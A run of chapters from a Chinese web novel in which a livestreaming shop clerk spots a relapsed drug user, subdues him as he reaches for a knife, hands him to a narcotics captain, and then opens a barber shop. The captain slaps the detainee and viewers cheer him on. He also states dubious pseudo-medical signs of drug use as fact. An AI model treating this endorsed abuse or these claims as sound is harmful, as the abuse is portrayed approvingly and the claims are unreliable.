“走，咱们去警车里聊聊。” 随后，林澈、王虎、女人和梁国栋四人相继坐进警车。 在梁国栋的见证下，几人完成签字手续，转账提示音几乎同时响起。 女人一把抓过合同，看都不看其他人一眼，转身就逃，恨不得立刻远离这个让她心惊胆战的地方，连脚步都不自觉地加快了几分。 林澈看着女人狼狈离去的背影，只是轻轻一笑，还抬手挥了挥，语气轻快：“再见啊。” 这一声道别，让女人跑得更快了，转眼就消失在街角。 王虎呆呆地盯着手机银行账户里那一串数字，身体不受控制地颤抖着。 手指无意识地揪着衣角，骨节泛白，嘴唇翕动了好几次才挤出断断续续的音节，声音里带着难以掩饰的激动。 “林哥，我......我.......” 林澈随手一摆手，眉梢都懒得抬一下，嘴角勾起一抹似有若无的笑，脸上满是无所谓的神情。 “别结巴了。” “这都快中午了，你可要请客啊。” 第73章 服务员的情况雷达 “行！一定请！” “林哥，我这就把钱转给你。” 林澈抬起头，目光平静地直视着王虎。 “我现在还不需要那笔钱。” “先写个欠条，等过几年你工作了再还给我。” 王虎挠了挠头，也没多想，露出憨厚的笑。 “哦哦，好的。” 伸手拿出纸和笔，纸张摩擦发出沙沙的声响，一笔一划认真地写起来，笔尖在纸上划出干净漂亮的字迹。 与此同时，直播间的弹幕疯狂滚动着，五颜六色的文字在屏幕上炸开。 “OHHHHHHHHHH！” “过几年再还？主播这是根本不打算要了。” “确实，明明不打算要了，竟然还顾及到对方的感受，让对方感觉不到施舍。” “哈基林，你这家伙！” “我已经想到过几年王虎还钱时，看到主播墓碑时的扬景。” “卧槽，竟然莫名感觉到心痛。” 林澈利落地折好欠条，塞进上衣口袋。 就在这时，一阵冰冷的机械女声在耳边响起。 【直播间观众认可度达到80%】 【宿主当前职业：服务员】 【正在抽取当前职业技能......】 【恭喜宿主获得服务员的情况雷达】 【他看我了！他看我了！一定是需要帮助！】 梁国栋上下打量着王虎，眉头拧成个“川”字。 “林澈，这妆容怎么处理？” 林澈露出个温和的笑。 “当然是用水洗一下了。” 走到旁边的公共厕所，在梁国栋紧盯着的目光下，王虎伸手掬起一捧水，往脸上泼去，水顺着脸颊滑落，露出原本的面容。 梁国栋瞪大眼睛，伸手摸了摸下巴。 “卧槽，厉害！” “看来这里没我啥事了。” “那我先走了。” 说完，他转身招呼着小李，两人坐上警车离开。 林澈和王虎回到奶茶店。 店内的客人原本各自低头刷着手机、咬着吸管聊着刚才的见闻，瞥见王虎完好无损地走进来，此起彼伏的抽气声瞬间打破了店内的平静。 有几人上来问问刚才到底怎么回事。 林澈和王虎对视一眼，同时摊开手，脸上堆满无辜的笑。 问不出答案的客人们嘟囔着散开。 窗外的路灯次第亮起时，奶茶店迎来了晚高峰。 门口蜿蜒的队伍像条五彩斑斓的长蛇，各色手机屏幕的冷光在暮色里明明灭灭。 林澈换上点单机前的围裙，手指在触控屏上敲出清脆的节奏，嘴角的弧度恰到好处。 “您好，您需要什么？” 抱着粉团子似的小女孩的女人低头询问，孩子肉乎乎的手指戳向价目表：“草莓啵啵！” 女人抬头看向林澈。 “要这个，少糖。” 女人话音刚落，林澈已经迅速点完单，抬头时露出标准的微笑： “好的，您稍等三分钟。” “下一位。” 随着林澈的喊声，一个瘦得仿佛风就能吹倒的男人挪到柜台前。 他背着褪色的黑色单肩包，松垮垮的卫衣下摆快遮住膝盖。 当男人抬头的瞬间，林澈的手指在半空顿了顿，因为对方深褐色的瞳孔异常放大，像蒙着层雾。 男人的声音像是从喉咙深处挤出来的，沙哑得带着砂纸摩擦的质感。 “一杯薄荷奶茶，多加糖，多加薄荷，麻烦再多给我一根吸管。” 他接过奶茶时，骨节突出的手指抖得厉害，塑料杯里的冰块撞出细碎的声响。 林澈的后颈突然泛起细密的凉意，服务员的情况雷达警报声在脑海里疯狂作响。 目送男人跌跌撞撞地坐到角落，蜷缩的背影把自己裹成小小的一团，扫过对方不停颤抖的肩膀。 突然朝正在擦拭操作台的王虎勾了勾手指。 “王虎，那人什么情况？” 王虎顺着林澈的目光瞥过去，手肘撑在操作台上，抹布还滴着水。 “哦，你说赵哥啊。” “你是不是看到他的手在抖？” “他那是遗传的，他妈妈的手就一直在抖。” 林澈垂眸盯着点单机的屏幕，指尖无意识地摩挲着边缘。 “不是。” “而是他的瞳孔。” “你没注意到吗？” “他的瞳孔不会缩小。” “一直都是双目无神的感觉。” 王虎挠了挠后脑勺，露出个憨憨的笑。 “啊？有吗？” “我真没注意到。” 直播间的弹幕像炸开的烟花，各色文字疯狂刷屏。 “主播，啥子情况？又发现问题了？” “什么问题？我怎么什么都没看到？” “是刚刚那个男人吗？手抖这种病我也有，无法控制，莫名在抖。” “瞳孔扩大这种，我刚刚查了一下，可能是眼部疾病，毕竟现代人经常看手机、看电脑，用眼过度很正常。” “确实，主播可能太敏感了。” 林澈扫了眼一旁的手机屏幕，弹幕还在飞速滚动。 转头看向角落，男人正用骨节嶙峋的手指捏着吸管，机械地搅拌着奶茶。 “应该是自己的错觉。” “但为了以防万一还是拍个照问问专业人士。” 林澈拿出手机偷偷给男人拍了一张照片，发给缉毒大队队长陈晓。 等了一会没有任何消息，可能是在忙吧。 这时新客人的询问声打断了思绪，林澈立刻换上职业笑容。 “您好，您需要什么？” 而直播间里，观众们的目光透过摄像头紧紧盯着那个角落。 一直在透过摄像头观察男人。 “哎呦，这人有点虚啊，这额头的汗就没停下来过。” “年过三十都这样，虚一点很正常啊。” “这哥们不光盗汗，他还经常跑厕所，一看就是肾亏的严重。” “楼上的兄弟，你怎么知道的这么详细？” “啊？我怎么知道的。当然是我有一个哥们就是这情况。” “那个哥们，不会是你自己吧？” “不是！没有！你别瞎说啊！” “哈哈哈，急了！急了！” “主播，主播，他桌上的纸巾用完了，你给人送点去。” 林澈抬眼望去。 角落那张桌子上，透明的纸巾盒已经见底。 从收银台下方抽出一包未开封的餐巾纸，给男人送过去。 当距离男人还有两步远时，鼻翼突然轻轻抽动了一下。 第74章 都是你 一股诡异的气味钻进林澈鼻腔，像是焦糖在高温下烧焦的甜腻。 顿时林澈瞳孔微缩，可以百分百确定在刚才点单时，这人身上绝没有这股味道，是进入奶茶店之后才出现的。 正在低头搅动奶茶的男人像是背后长了眼睛，猛地转过头来。 苍白的脸上肌肉僵硬地扯动，挤出一个比哭还难看的笑容，喉结不安地上下滚动。 伸手抓起脚边的垃圾桶，将桌上沾着大片黄色汗渍的纸巾一股脑塞进去。 “抱歉，我最近生病了。” “所以才用了那么多纸。” “这个没事吧？” 林澈的目光紧锁在男人额头上不断滚落的汗珠，那些汗珠顺着凹陷的脸颊滑进衣领，瞬间洇湿一片深色痕迹。 “盗汗挺严重啊。” 男人干巴巴地应了两声，指甲深深掐进掌心。 “嗯嗯。” 就在这时，林澈突然往前半步。 “你身上这是什么味？” “在厕所干了什么？” 这句话让男人的笑容瞬间凝固在脸上，他机械地低头在自己身上嗅了嗅，睫毛剧烈颤抖着。 抬头时，他撞上林澈鹰隼般的目光，喉间发出一声不成调的呜咽。 “啊、那个、我......” 他慌乱地从口袋里掏出烟盒，手指颤抖得几乎捏不住那支烧了一半的香烟，烟灰簌簌落在桌上。 “抱歉，我刚刚上厕所时烟瘾犯了。” “就随便吸了一口。” “我知道这里不能吸烟。” “走出来的时候已经打开了排风扇。” 林澈垂眸盯着那支只剩一半的香烟。 仔细闻了闻，这香烟也确实散发出一股水果的甜味。 沉默片刻，语气不咸不淡。 “嗯，注意不要在大厅吸烟就行。” 男人如蒙大赦，脸上立刻堆满讨好的笑容，眼角挤出细密的褶皱。 “谢谢！” “我一定注意。” 他几乎是抢过林澈手中的餐巾纸，后退时不小心撞到身后的桌子，发出一声闷响，也全然不在意。 林澈看着男人重新坐回椅子，转身往回走。 奶茶店的空调嗡嗡作响，男人缩在角落两道警惕的目光追着林澈的身影。 直到对方走到了前台，他才像绷紧的弹簧突然松劲，喉结滚动着左右扫视。 玻璃门外是熙熙攘攘的步行街，店里其他顾客都埋首手机。 他枯瘦的手指突然探进外套内袋，隔着布料摸索着某个方形硬物。 男人猛地站起来，双手插兜，佝偻着身子快步走向门口。 玻璃门的电子提示音叮咚响起时，林澈正好抬头。 透过玻璃，只看到男人的背影淹没在穿短袖短裤的人流中。 林澈用围裙擦了擦手。 没有任何想要追上去留住对方的想法。 这里是夏国，只要确定他有问题，几乎不可能跑得掉。 林澈继续为新到的顾客扫码点单。 不多时，一道尖锐的女声突然刺破店内嘈杂：“服务员！” 靠窗卡座处，穿碎花连衣裙的女孩正踮着脚挥舞手臂，旁边寸头男生皱着眉用钥匙尖挑开单肩包拉链。 “这里落下个包！”女孩指着椅子上鼓鼓囊囊的单肩包。 “我们看了这里十分钟，都没人回来找。” 林澈扫了一眼，正是之前男人的位置。 他的单肩包落在椅子上了。 “好的，谢谢。” “那就先放到前台，之后联系客人。” 林澈走到桌旁，将单肩包拿到前台放起来。 也在这时，林澈的手机突然震动起来。 正是缉毒大队队长陈晓打来的，接通电话。 “喂，陈队。” 手机听筒里传来电流杂音，陈晓的声音带着疲惫。 “林澈，那人前些日子刚从戒毒所出去。” “他是不是看上去很奇怪？” “那很正常，他还需要一些日子才能恢复。” 林澈还是觉得有问题，将刚刚发生的事情一五一十讲述了一遍。 尤其是他身上前后出现的味道。 陈晓的追问快得像子弹上膛。 “奶茶？他是不是加了很多糖？” 林澈点点头。 “是啊。” “他还多加了薄荷。” 陈晓的爆粗口震得手机听筒嗡嗡作响，紧接着是重重的拍桌声。 “艹！” “那个煞笔果然复吸。” 林澈喉结滚动，反问道。 “陈队，您这怎么判断的？” 电话那头传来急促的脚步声，陈晓压低声音解释。 “瘾君子因为常年接触D品的原因，他们大多数都是低血糖。” “所以在吸食之前需要快速补充糖分，否则会有晕过去的风险。” “至于薄荷，则是要抑制呕吐。” “林澈，你的位置告诉我。” 林澈立刻把奶茶店的位置告诉陈晓。 “三大街萌萌奶茶店。” 陈晓：“好，我马上到。” 直播间的弹幕疯狂刷新。 “卧槽！还有这种说法，难怪看那些瘾君子一个个都瘦得和猴子一样，原来都是低血糖。” “我刚刚查了一下，前年抓了二百多人，仅有十几个血糖正常，这十几个还是后面加入的。” “当真是害人不浅。” “兄弟们，真是吓坏了，我又猛吸了一大口奶茶，就是这个甜滋滋的感觉。” “楼上的哥们，光你自己喝啊？你这可一点也不利群！” “什么利群？分我一根！” “嘟嘟——”电话挂断。 林澈刚把手机揣进裤兜，下意识抬头，正对上一双布满血丝的眼睛。 男人不知何时折返。 喉结上下滚动，声音像是从生锈的齿轮里挤出来的。 “陈、陈队？” 林澈点头。 男人突然转身撞向玻璃门欲要逃走。 就在这时，林澈的声音从背后传来，平静得像是在说今天的天气。 “这里是夏国。” “你就算跑出奶茶店，又能怎么样？” 这句话让男人的动作僵在原地，路灯勾勒出他扭曲的剪影。 缓缓回头，嘴角不受控制地抽搐，脸上的肌肉像是被无形的线拉扯着。 林澈看着他眼底翻涌的恐惧与绝望，想起陈晓在电话里的愤怒。 这里是夏国。 D品就是无法饶恕的罪过。 男人脖颈暴起的青筋如同扭曲的蚯蚓，猛地转头时，充血的眼球几乎要从眼眶里迸出来。 胸腔剧烈起伏，呼出的气里带着浓重的薄荷混着酸腐味，牙缝间挤出的低吼像受伤的野兽。 “都是你！” 第75章 涕泗横流 男人目光死死盯在林澈的脸上，指甲深深掐进掌心。 “之前从未出事！你来了！我就出事了！” “家里被盯着，好不容易出来找到个地方！” “都是因为你！！！” 男人颤抖的视线移动，定格在一旁的单肩包上。 喉结滚动，牙齿咬得咯咯作响，脑中疯狂闪过“给他一刀”的念头。 戒毒所出来的日子生不如死，必须也要让他感受一下。 这个想法像毒蛇般缠住理智，再加上现在精神状态不对，怒火瞬间吞噬了最后一丝恐惧。 他突然弓起脊背，枯枝般的手狠狠探向包内。 林澈看着男人的眼神。 瞳孔骤缩——这眼神。 之前，不准确来说就在昨天。 就在A级通缉犯徐强脸上看到过同样的表情。 男人脖颈的肌肉紧绷如弓弦，太阳穴的血管突突跳动，连耳尖都因充血涨成诡异的紫红色。 直播间观众看到这眼神，弹幕疯狂刷屏。 “他在瞪人！好吓人！好可怕！” “尤其是他的眼睛同款不会缩小，这下竟然有一种恐怖谷效应。” “你这一说确实更吓人了。” “主播，动手啊！先下手为强！” “主播，踢他！” 就在男人的手指即将触到折叠刀的瞬间，林澈闪电般出手。 手掌像铁钳般按住男人手腕，隔着布料也摸出来具体是什么东西。 一把折叠刀。 男人脖颈的青筋几乎要撑破皮肤，像蠕动的蜈蚣。 疯狂扭动身体，试图从林澈铁钳般的手掌下抽出右手，去够单肩包里的匕首。 可瘾君子常年被毒品掏空的身体，哪敌得过林澈？ 林澈左手像座小山，将男人手腕死死压在桌面，连桌角的奶茶杯都跟着微微震颤。 林澈面色冷若冰霜，下颌绷得笔直，眉峰紧紧蹙起，目光如鹰隼般盯着男人的一举一动。 而男人苍白病态的脸上，此时涨得紫红，五官因用力和愤怒扭曲成一团，额头上豆大的汗珠不断滚落，滴在被汗水浸透的单肩包上。 王虎察觉到不对劲。 紧忙上前打圆场。 “林哥、刘哥。” “怎么了？” “有事好商量啊。” 男人根本无暇回应，喉咙里发出野兽般的嘶吼，又猛地发力试图挣脱。 林澈声音沉稳，带着不容置疑的威严，余光瞥向王虎。 “这是个瘾君子。” “王虎，你靠边别伤到你。” 王虎顿时大惊。 “啊！瘾、瘾君子！” 男人见右手抽不出去，眼中闪过一丝阴狠，左手突然猛地抓向旁边立着的广告牌。 林澈早有防备，几乎在同一瞬间，他另一只手如闪电般探出，精准扣住男人左手腕，双手同时发力，将男人两只手狠狠按在桌面上。 男人如同野狗般喉咙发出呜呜的声音，整个人被死死压制，双手像被钉住般动弹不得，身体徒劳地在桌面上扭动，头发凌乱地贴在脸上，模样狼狈至极。 直播间原本因紧张而短暂消失的弹幕，瞬间如潮水般爆发。 “哎呦！还以为这家伙多猛呢，原来也就眼神凶狠。” “这可是瘾君子，他们要是猛一些，百年前咱们也不会被称为东亚病夫。” “卧槽！你这一说确实啊，瘾君子一个个猴瘦猴瘦的，算个鸟。” “这种我一个能打十个！” “毒品，这种东西还是要严格管制，曾经的事情绝对不能再来一次。” 男人几乎将全身的力气都灌注在挣扎之中，脖颈暴起的青筋如同凸起的蚯蚓，扭曲的面容因过度用力涨成猪肝色。 双脚不断蹬踹地面，发出一阵阵刮擦的声音。 可在林澈坚实如铁的压制下，这些反抗都如同蚍蜉撼树，毫无作用。 就在男人精疲力竭、瘫软在桌面上大口喘息时，肩膀突然被一只厚实的手掌重重按住。 他浑身一僵，机械般扭过头，只见戴着墨镜的陈晓立在身侧。 夜色从敞开的店门漫进来，勾勒出陈晓硬朗的轮廓，墨镜镜片泛着冷冽的光。 陈晓拇指勾起墨镜向上一推，露出布满血丝却依旧锐利的双眼，嘴角扯出一抹似笑非笑的弧度。 声音低沉如闷雷，带着令人不寒而栗的压迫感。 “小刘，我之前怎么和你说的？” “你之前怎么答应我的？” “走，跟我出来！” 语毕，他转头看向林澈，下巴微抬示意。 “林澈，你也一起吧。” 林澈松开男人的手腕，转头看向王虎。 “这里就先交给你了。” 王虎点点头。 “哦，好的林哥。” 白色酷路泽的车门在夜色中打开，陈晓猛地拽着男人塞进后座，车内顶灯亮起的瞬间，能看到他紧绷的下颌线和因愤怒微微颤抖的太阳穴。 车门重重甩上的刹那，陈晓抬手就是一记响亮的耳光，男人的头被打得偏向一侧，嘴角瞬间溢出鲜血。 “你之前和我说你妈身体不好，需要人照顾。” “我也是看在她孤身一人，年纪大了确实需要人。” “又看在你一直都很配合，这才放你出去。” “十天！出来短短十天你就复吸了！” 男人瘫在座椅角落，鼻涕眼泪糊了满脸，不住地磕头。 “陈队，对不起。” “我......我向您保证，这次不会......” 话音未落，又一记耳光狠狠抽在他另一边脸上，金属手表带在他脸颊留下狰狞的红痕。 “你这种毒虫比那些赌鬼还不如。” 陈晓的怒吼震得车窗嗡嗡作响，他猛地扯开领口的纽扣，脖颈青筋暴起。 “不需要和我解释了。” “接下来你就在戒毒所里待着吧。” 说罢，他抓起车载对讲机，声音冷得像冰。 “喂，来人把他带走。” 一辆警车稳稳地停在车旁。 车门猛地拉开，三名身穿便衣的警员快步上前，粗暴却专业地将瘫在副驾驶的男人拖了出来。 男人双腿发软，涕泗横流，几乎是被架着带走的。 任凭他如何哀嚎，都没任何用。 第76章 理发师 直播间的弹幕如同炸开的烟花，疯狂地在屏幕上翻滚跳跃。 “卧槽！陈队这也太狠了，上去就是大嘴巴子啊。” “这应该就是恨铁不成钢吧，之前说好的情况，结果被人骗了，心里怎么也不会好受。” “确实，瘾君子果然不可信，都能拿自己老娘当作理由。” “陈队下手还是太轻了。” “就是男人的老娘有些可怜了。” “唉，确实啊。” ...... 陈晓整理了一下被扯开的领口，转头看向林澈，脸上的怒意早已消散，取而代之的是欣慰的笑容。 “小林，你这可是又帮了我个忙。” 林澈低头看了眼不断刷新的直播间弹幕，手指快速滑动屏幕，满屏都是观众们好奇的提问。 “主播，主播，你快问问陈队面对天价暗杀悬赏是什么感觉？” “有没有提心吊胆啊？” “是不是时刻防备着有人袭击自己？” 林澈抬起头，将手机屏幕亮给陈晓看。 陈晓凑近一瞧，先是微微挑眉，随后仰头哈哈大笑，爽朗的笑声回荡在车内。 “你们都被电影骗了。” 摇了摇头，眼神中带着几分不屑。 “暗网的悬赏说白了，就和放屁差不多。” “但凡他们能直接报复我，都会毫不犹豫下手。” “被我打疼了，不得不报复，又拿我没办法，才会选择挂上悬赏。” 林澈目光紧紧盯着陈晓，追问道。 “陈队，那你真的不担心吗？” 陈晓伸手抹了把脸，眼底闪烁着锐利的光芒，像是淬了毒的刀刃。 “担心？” “担心个屁。” 侧过身，身体前倾，双眼直勾勾地盯着林澈，一字一顿地说。 “他们可是一群大毒枭，你觉得就算有人真的拿着我的脑袋去领钱。” “他们就会乖乖地给吗？” 突然嗤笑一声，嘴角勾起一抹嘲讽的弧度。 “我和你说，根本不会！” “要是高兴，当时给了，出了门再把人杀了，钱抢回来。” “要是不高兴，当场就杀了。” “所以根本不用怕悬赏。” 林澈认真地听着。 直播间的弹幕瞬间被点燃。 “卧槽，说得好有道理。” “和一个大毒枭讲什么信用，他们都贩毒了能有个屁的信用。” “确实，看刚刚那个瘾君子就知道，都能拿自己老娘撒谎。” 陈晓突然收起笑容，神色变得凝重起来。 “不过还是有危险的。” “真的碰上，他们也会不遗余力干掉我。” “没准，明天有行动，你们就见不到我了。” 说着望向车窗外深邃的夜色，远处路灯散发着昏黄的光，将他的侧脸勾勒出一道冷峻的轮廓。 直播间的气氛瞬间变得压抑，弹幕缓缓飘过。 “唉，还是太危险了。” “陈队不结婚也是这个原因吧，怕连累人家。” “毒贩报复官方的本领没有，对普通人下手的还是敢的。” “一群踏马的垃圾，全都给突突了。” 也在这时。 林澈耳边突然响起一阵冰冷的机械女声。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 陈晓低头瞥了眼仪表盘上的时间。 “林澈，我接下来还有事。” “有空你来找我，我请你吃好吃的。” 林澈点头应下，看着陈晓的车尾灯在街道尽头消失。 转身看向手机屏幕，直播间里密密麻麻的弹幕还在滚动。 对着镜头挥了挥手。 “兄弟们，今天的直播就到这里了。” “拜拜！” 指尖轻轻划过屏幕，直播间瞬间黑了下去。 林澈则在心中呼唤道。 “统子，给我开！” 话音刚落，一道淡金色的光芒在掌心炸开，光芒消散后，一个复古的扭蛋器凭空悬浮在空中。 金属外壳泛着冷光，上面刻满神秘的纹路。 轻轻按下侧面的按钮。 扭蛋器发出齿轮转动的咔嗒声，透明的圆柱仓内，各色圆球飞速旋转。 随着一阵哗啦啦的滚动声响，一颗泛着紫光的圆球顺着滑道滚落出来。 没等林澈捡起来，圆球突然化作一道流光没入掌心， 下一秒，一张烫金卡片出现在手中。 【恭喜宿主获得法医职业卡】 【法医职业卡：使用后可以临时获得法医相关技能经验。】 【我是法医，最爱拼好犯。】 林澈回到奶茶店继续忙活。 而此时直播间的屏幕漆黑如墨，满屏弹幕却在黑暗中疯狂跳动。 “咳咳！老规矩了。” “是啊，又到这时候了。” “我就是可以卡着这时候来直播间。” “视频呢？@一只大橘狗。” “兄弟们放心啊，我换了新电脑，保证在最短时间拿出来。” “卧槽！狗子你也是好上了，竟然都换上新的电脑了。” “听说现在要在狗子视频打广告都需要竞价了，你竟然真的发达了，羡慕得我浑身颤抖。” “半个小时内看不到视频，你就提着自己的狗头来见。” 半个小时后。 “狗子，视频呢？” “在剪了，在剪了，新电脑不太熟练而已，我已经找到敲门了。” 又是半个小时。 “狗子，你还好吗？” “视频呢？你说句话啊。” “别问了，我们都在这里催半天了。” “估计电脑又出问题了，自从跟着主播混上后，狗子的视频保证出问题，就跟中了邪一样。” “卧槽！这么玄乎？” 凌晨两点，城市陷入最深的沉睡，直播间的弹幕却依旧活跃。 “哈哈哈哈！视频！我要剪视频！” “这不是狗子吗？怎么了？” “突然在直播间发什么疯？” “是不是压力太大了？” “果然又疯了一个。” “主播，你快过来给他一个大嘴巴。” ...... 晨光像融化的黄油，顺着窗帘缝隙缓缓流淌，在地板上勾勒出细长的金边。 林澈揉着惺忪睡眼，发梢还翘着几缕不服帖的呆毛。 就在这时，一道冰冷机械的女声在脑海中炸响。 【叮......】 【职业选择中......】 【获得职业理发师。】 【理发师配套装备已准备。】 【请宿主尽快开始直播。】 机械音戛然而止的瞬间，“咚咚咚”的敲门声急促地撞在门板上。 第77章 二舅理发店 林澈趿拉着拖鞋，鞋后跟与地板碰撞出拖沓的声响，边走边挠着后颈，睡衣的纽扣歪歪扭扭地扣着。 打开门，熟悉的壮汉像座铁塔似的立在门口，面无表情地递来一串泛着冷光的钥匙，还有一张边角微微卷起的纸条。 “理发店的钥匙和地址。” 壮汉声如闷雷，说完便转身准备离开。 林澈捏着钥匙和纸条，指尖摩挲着金属的棱角，眉毛高高挑起，眼睛瞪得溜圆。 “好家伙。” “你们真是够财大气粗的。” “说准备装备，竟然准备了一个理发店？” 林澈洗漱完毕，穿戴好直播装备。 拿起手机时，拇指重重按下开播键。 随即笑容满面地对着镜头挥手。 “兄弟们，你们好吗？” 然后林澈就发现直播间弹幕，满屏密密麻麻的“奠”字刷得飞快。 “这是怎么了？” “谁出事了？” 直播间弹幕解释道。 “一只大橘狗昨天因为剪辑视频不顺利，喝了点酒在直播间耍酒疯了。” “他现在的醉酒语录已经被人剪辑成鬼畜视频，已经社会性死亡了。” “据说热度都盖过了哥哥，小黑子们老生气了。” 下面还有一条链接。 一段节奏感强烈的鬼畜视频自动播放，醉酒状态的一只大橘狗嘶吼混着《起风了》的旋律，魔性的剪辑让林澈忍不住嘴角抽搐。 只能说人才还是太多了。 还没等林澈从震惊中缓过神，新的弹幕又涌了上来。 “主播，今天是什么职业？” 林澈从裤兜里掏出钥匙。 将钥匙在指尖灵活地转了个圈，对着镜头挑眉一笑，露出两颗虎牙。 “今天咱是理发师。” “主播间的兄弟们有要剪发的吗？” “可以来找我，给兄弟们打五折。” 直播间的弹幕像是突然被按下了暂停键，短暂的空白后，满屏的文字汹涌而出。 “主播，我们和你心连心，你竟然要对我们的头发动手？” “没有一个人能笑着走出理发店！没有人！” “啊啊啊，昨天刚剪完头发的我感觉周围人看我的目光都不对了。” “有没有不怕死的哥们去试一试主播的技术？” “这可是社死啊，谁能挡得住？” ...... 林澈看着不断刷新的调侃弹幕，无奈地叹了口气。 获得了职业可是有相关的职业经验。 虽说比不上一些资深的理发师，但也比市面上的大多数理发师厉害得多。 突然挺直腰板，眼神变得锐利，指尖重重敲了敲桌面。 “既然你们都不信，那我只要给你们展示一下了。” “本想以普通人的身份和你们相处，摊牌了，不装了。” “我就是地府最强理发师。” 弹幕瞬间爆炸。 “OHHHHHH！” “好牛逼的身份！” “有二舅这层关系，谁能抢得过你啊。” “哈哈哈哈！” 林澈说完也不管弹幕，利落地抓起放在一旁的鸭舌帽扣在头上。 走出屋子时，清晨的风掀起他卫衣的衣角，跨上小电驴。 按照纸条上的地址，林澈拐过三条街道，终于在城西的老巷子里找到了理发店。 褪色的塑料招牌在风中轻轻摇晃，“二舅理发店”五个大字有些许褪色，其中“舅”字的最后一笔还缺了个角。 林澈仰头盯着招牌，嘴角不受控制地抽了抽。 这一定是系统的恶趣味。 满屏的弹幕像是炸开了锅，各色“哈哈哈”的文字以不同字号和颜色疯狂跳动，有的还搭配着笑出眼泪的表情包。 “卧槽！二舅理发店！是我理解的那个二舅吗？” “主播，你确实不装了，真打算把我们都带走了。” “看到这个名字，竟然莫名感觉到一股寒气。” “靠靠靠！别说了。” 林澈将电动车停在斑驳的水泥路边，这时，隔壁宠物医院的玻璃门“叮铃”一声滑开。 走出来一位体型壮硕的胖子。 那人足有二百多斤，白色的 T恤被撑得紧绷，脸上的肉随着步伐轻轻晃动，模样憨态可掬。 胖子双手插在裤兜里，迈着不紧不慢的步子走过来，说话时脸颊的肉跟着抖动。 “小兄弟，这家店盘给你了？” “今后咱们可就是邻居了。” 林澈笑着伸出手。 “我叫林澈，哥，你怎么称呼？” 胖子咧开嘴，露出一口大白牙，也伸手握住林澈。 “叫我胖子就行。” “没比你大多少。” 林澈点点头，清脆地喊了声：“胖哥。” 话音刚落，一声凄厉的猫叫突然刺破空气。 胖子脸上的笑意瞬间凝固，眼神变得焦急。 “兄弟，我突然有点事，等会去找你聊天啊。” 转身时，肥大的裤腿带起一阵风，三步并作两步冲进店里，玻璃门再次“叮铃”作响。 林澈望着胖子匆忙的背影，随后掏出钥匙。 推开理发店的门，一股淡淡的洗发水混合着木质家具的味道扑面而来。 店内空间不大，约莫十个平方，摆放着两张理发椅和一个陈旧的镜子柜，推子、剪刀等工具整齐地码收在木质的柜子里。 就在这时，门口传来脚步声，一个背着沉重书包的男学生探进头来。 少年约莫十三四岁，校服袖口沾着墨迹，眼睛亮晶晶地问道。 “您这里开门了吗？” 林澈瞬间换上灿烂的笑脸，露出两排整齐的牙齿，热情地招呼道。 “开门了。” “来来来，兄弟。” 伸手轻轻拍了拍理发椅的靠背，又指了指男学生垂在眉间的刘海。 “你这头发太长了，也该剪头了。” 男学生有些拘谨地坐下，林澈半弯着腰，从抽屉里取出理发工具。 剪刀和梳子在手间灵活翻转，手腕猛地一抖，一道银色的刀花在空中划出漂亮的弧线，金属碰撞发出清脆的“咔嗒”声。 “剪个短发？”林澈歪着头询问。 男学生咽了咽口水，紧张又期待地点点头。 直播间里，弹幕瞬间如潮水般涌来。 “小伙子，我已经预料到他的悲剧了。” “想到等会他看着自己仿佛被鸡叼过的头发，又一个伤心的少年。” “男人哭吧哭吧不是罪。” “你们也太损了，万一主播给他剃个秃头呢？岂不是没有发型的担忧了。” “哈哈哈，你这家伙才是真的蔫坏。” 第78章 这老人家长得不像是好人 锋利的刀刃贴着头皮游走，细碎的黑发簌簌落在围布上。 时而微微皱眉，专注地盯着发梢；时而抿着嘴唇，用梳子仔细调整发丝的层次。 十五分钟过去，林澈利落地收起剪刀，拿起柔软的海绵，轻轻擦拭男学生脖颈和脸颊上的碎发。 “兄弟，看看行吗？” 镜中的少年，原本凌乱的长发变成了利落的短发，层次分明的发型让他的五官更显立体。 男学生眼睛瞬间亮得惊人，嘴角不受控制地扬起，伸手摸了摸自己的头发，又对着镜子左右端详。 林澈笑着拍了拍男学生的后背，力道不轻不重。 “还有，别总驼背，本来挺帅一个人。” “这么驼着背，气质都变得畏畏缩缩的。” “要是总记不住。” “你就记住双臂自然下垂，转动胳膊手心向前，背自然就挺直了。” 男学生半信半疑地试了试，原本佝偻的脊背果然不自觉地挺直了。 惊喜地转过头，张了张嘴又不知道说什么好。 “哥，多少钱？” 林澈指了指墙上贴着的二维码，嘴角始终挂着温和的笑意。 “十五，那边扫码。” 男学生扫码付完钱，脚步轻快地走出理发店，离开时还不忘回头挥手，脸上洋溢着自信又开心的笑容。 直播间瞬间被密集的弹幕“轰炸”。 “卧槽！卧槽！我这还是看到了什么？” “不就是剪个头吗？怎么和换个头一样？” “尼玛啊，主播你真会剪头？” “不光会，看技术还很不错。” “不光是不错，价格也十分亲民。” 就在这时。 林澈的耳边响起系统冰冷的机械女声。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：八天】 林澈嘴角勾起一抹自信的笑，对着镜头挑眉说道。 “兄弟们，我没说错吧。” 弹幕再次疯狂滚动，满屏都是“大佬666”“失敬失敬”的字样。 就在这时，“吱呀——”一声，理发店的门被推开，胖子风风火火地闯进来，手里举着一个透明的标本盒。 扯着大嗓门喊道，脸上洋溢着兴奋的红光。 “兄弟们，给你看看我最新的杰作。” 林澈凑近一看，标本盒里，一只只剩骨头的动物昂首站立，骨架结构精巧，泛着森白的光泽，可左腿却突兀地缺失了一块，像是完美画卷上的一道裂痕。 胖子注意到林澈的目光，肥厚的手掌挠了挠头，憨憨地笑了。 “这是我前几天在马路上捡到的死猫。” “它当时后腿完全断掉，缺失了一部分，没办法，少了东西拼不好了。” 林澈认真地点点头，眼神里满是赞叹。 “胖哥，这手艺不错。” “您是兽医？” 胖子胸脯一挺，脸上写满骄傲：“是啊。” “我跟你说这附近我的医术最厉害。” 说着，拍了拍林澈的肩膀，力道大得让林澈微微一晃。 “我也照顾下你的生意，给我剪个头。” 林澈潇洒的大手一挥，剪刀在指间转了个漂亮的圈。 “来！” 十五分钟后，胖子盯着镜子里焕然一新的自己，眼睛瞪得溜圆，嘴巴张成了“O”型，活像一条上岸的鱼。 “哥！你这手艺来这种小地方剪头？” “你这可比我花四百弄的发型都厉害。” 林澈嘴角噙着笑意，眉眼弯弯，露出两排整齐的牙齿，伸手示意道。 “胖哥，诚惠十五。” 胖子豪爽地大笑起来，脸上的肉跟着抖动，眼睛眯成两条缝。 从裤兜里掏出手机，手指笨拙地在屏幕上滑动着扫码付款，嘴里还念叨着： “值！太值了！” 